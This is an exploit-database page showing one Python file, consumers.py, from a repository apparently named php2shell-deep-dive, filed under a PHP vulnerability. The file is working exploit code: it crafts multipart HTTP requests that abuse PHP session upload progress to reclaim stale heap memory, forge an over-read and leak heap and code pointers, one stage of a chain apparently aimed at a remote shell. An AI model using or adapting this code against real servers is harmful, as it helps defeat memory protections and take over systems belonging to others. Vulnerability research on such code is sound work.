Exploit databaseDownload repository ZIP
GH-293bdf46c35b1edd035370df3bfb8cde
djad04/php2shell-deep-dive
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
djad04/php2shell-deep-diveRevision cf5dc0e82f73
- ↑..Parent directory
- __pycache__/
- calibration.py
- command.py
- consumers.py
- exploit.py
- hashtable_forge.py
- http_framing.py
- memory_exhaustion.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/consumers.py
Python · 3,733 bytes"""Leak consumers: heap address and code pointer extraction."""
from __future__ import annotations
import collections
import struct
from collections.abc import Callable
from dataclasses import dataclass
from calibration import (
COOKIE_BOUNDARY, BODY_LIMIT, CHUNK_MASK, MIN_POINTER_AGREEMENT,
HEAP_MIN, HEAP_MAX, CODE_MIN, CODE_MAX, DTOR_LOW21, ORDINARY_COOKIE_BYTES
)
from http_framing import mp_field, close_multipart
from memory_exhaustion import OOMShape
def heap_reclaim() -> bytes:
"""Reclaim the stale session slot and forge a 256-byte over-read."""
bnd = COOKIE_BOUNDARY
fields = [mp_field(bnd, b"PHPSESSID", b"a"),
mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
for i in range(51):
value = (f"v{i:04d}".encode() + b"x" * 48)[:48]
fields.append(mp_field(bnd, str(1000 + i).encode(), value))
fields.append(mp_field(bnd, b"1050", b"Z" * 128))
forged = bytearray(b"A" * 79)
struct.pack_into("<Q", forged, 0x10, 256)
forged[0x18] = ord("L")
fields.append(mp_field(bnd, b"1999", bytes(forged)))
return close_multipart(fields, bnd, BODY_LIMIT)
def parse_heap_leak(cookie: bytes) -> int | None:
"""Extract a chunk base from a 256-byte leaked cookie, or None."""
if len(cookie) != 256:
return None
candidates = []
for alignment in range(8):
words = (struct.unpack_from("<Q", cookie, pos)[0]
for pos in range(alignment, len(cookie) - 7, 8))
counts = collections.Counter(value & ~CHUNK_MASK for value in words
if HEAP_MIN <= value < HEAP_MAX)
if counts:
base, hits = counts.most_common(1)[0]
candidates.append((hits, alignment, base))
if not candidates:
return None
hits, _alignment, base = max(candidates)
return base if hits >= MIN_POINTER_AGREEMENT else None
def code_reclaim() -> bytes:
"""Position allocations to disclose zval_ptr_dtor via a 16-byte cookie."""
bnd = COOKIE_BOUNDARY
fields = [mp_field(bnd, b"PHPSESSID", b"a"),
mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
for i in range(73):
fields.append(mp_field(bnd, f"s{i:04d}".encode(), b"P" * 24))
for i in range(983 - 73):
for j in range(16 if i == 69 else 1):
fields.append(mp_field(bnd, f"a{i:04d}[{j}]".encode(), b"x" * 16))
return close_multipart(fields, bnd, BODY_LIMIT)
def parse_code_leak(cookie: bytes) -> int | None:
"""Validate a 16-byte cookie against the Alpine code fingerprint."""
if len(cookie) != 16 or struct.unpack_from("<Q", cookie)[0] != 16:
return None
value = struct.unpack_from("<Q", cookie, 8)[0]
if CODE_MIN <= value < CODE_MAX and value & CHUNK_MASK == DTOR_LOW21:
return value
return None
@dataclass(frozen=True)
class Stage:
"""Configuration that differs between heap and code leak stages."""
name: str
producer: OOMShape
build_consumer: Callable[[], bytes]
read_candidate: Callable[[bytes], int | None]
leak_cookie_bytes: int
describes: str
STAGES = {
"heap": Stage(
name="heap",
producer=OOMShape(depth=57, count=950, field_count=50,
field_value_size=1),
build_consumer=heap_reclaim,
read_candidate=parse_heap_leak,
leak_cookie_bytes=256,
describes="Zend chunk base",
),
"code": Stage(
name="code",
producer=OOMShape(depth=58, count=935, field_count=65,
field_value_size=39),
build_consumer=code_reclaim,
read_candidate=parse_code_leak,
leak_cookie_bytes=16,
describes="zval_ptr_dtor",
),
}